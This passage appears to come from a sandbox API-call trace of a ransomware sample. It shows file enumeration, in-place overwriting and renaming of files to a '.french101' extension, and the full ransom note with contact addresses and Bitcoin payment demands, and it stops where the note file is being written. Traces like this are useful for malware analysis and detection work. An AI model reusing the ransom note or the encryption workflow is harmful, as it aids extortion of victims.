Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0279.597] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.597] GetLastError () returned 0x2 [0279.597] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0279.597] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0279.597] GetLastError () returned 0x2 [0279.597] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0279.598] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.598] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.598] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.598] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.598] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.598] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.598] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.598] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.598] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.598] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.598] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aac8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0279.598] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.598] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0279.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0279.598] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.598] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0279.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.599] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.599] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0279.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.599] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.599] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.599] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.599] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0279.599] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0279.599] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0279.599] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.599] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0279.599] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.599] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0279.599] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d68, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0279.600] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0279.600] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0279.601] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0279.601] SHGetPathFromIDListW (in: pidl=0x6e47f8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.601] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0279.601] IMalloc:Free (This=0x75e4d000, pv=0x6e47f8) [0279.601] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0279.601] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0279.601] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.601] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.601] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.601] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0279.601] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0279.601] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0279.601] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.602] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0279.602] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.602] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0279.602] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.602] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.602] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0279.602] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.602] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.602] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.602] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.602] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0279.602] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.602] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0279.602] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.602] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.602] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.603] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.603] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0279.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0279.603] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\я" (normalized: "c:\\588bce7c90097ed212\\1040\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.605] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0279.606] CloseHandle (hObject=0x398) returned 1 [0279.606] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\я" (normalized: "c:\\588bce7c90097ed212\\1040\\я")) returned 1 [0279.608] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0279.608] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0279.608] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0279.608] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0279.608] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x20) returned 1 [0279.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.609] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.609] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe3b [0279.609] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.609] SetFilePointer (in: hFile=0x398, lDistanceToMove=3643, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xe3b [0279.609] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0279.611] CloseHandle (hObject=0x398) returned 1 [0279.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.612] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.612] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe3c [0279.612] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.612] SetFilePointer (in: hFile=0x398, lDistanceToMove=3643, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe3b [0279.612] SetEndOfFile (hFile=0x398) returned 1 [0279.614] CloseHandle (hObject=0x398) returned 1 [0279.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.615] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.615] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe3b [0279.615] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.615] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.615] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.615] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe3b [0279.616] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.616] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.617] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.617] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0279.617] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.617] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.617] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0279.617] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.617] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.617] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.617] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.617] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.617] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.812] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0279.812] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe3b [0279.812] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0279.812] SetFilePointer (in: hFile=0x398, lDistanceToMove=3643, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe3b [0279.812] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.840] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0279.840] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.840] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.841] CloseHandle (hObject=0x398) returned 1 [0279.844] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\cRXncCJPLSyZdzdoi4qNuk.french101" (normalized: "c:\\588bce7c90097ed212\\1040\\crxnccjplsyzdzdoi4qnuk.french101")) returned 1 [0279.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\cRXncCJPLSyZdzdoi4qNuk.french101" (normalized: "c:\\588bce7c90097ed212\\1040\\crxnccjplsyzdzdoi4qnuk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.845] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.845] CloseHandle (hObject=0x398) returned 1 [0279.845] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\cRXncCJPLSyZdzdoi4qNuk.french101", dwFileAttributes=0x80) returned 1 [0279.845] CloseHandle (hObject=0x398) returned 0 [0279.845] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.845] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.845] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.845] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.845] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.845] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.845] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.845] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.846] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.846] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.846] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0279.846] GetLastError () returned 0x2 [0279.846] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1040\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.846] WriteFile 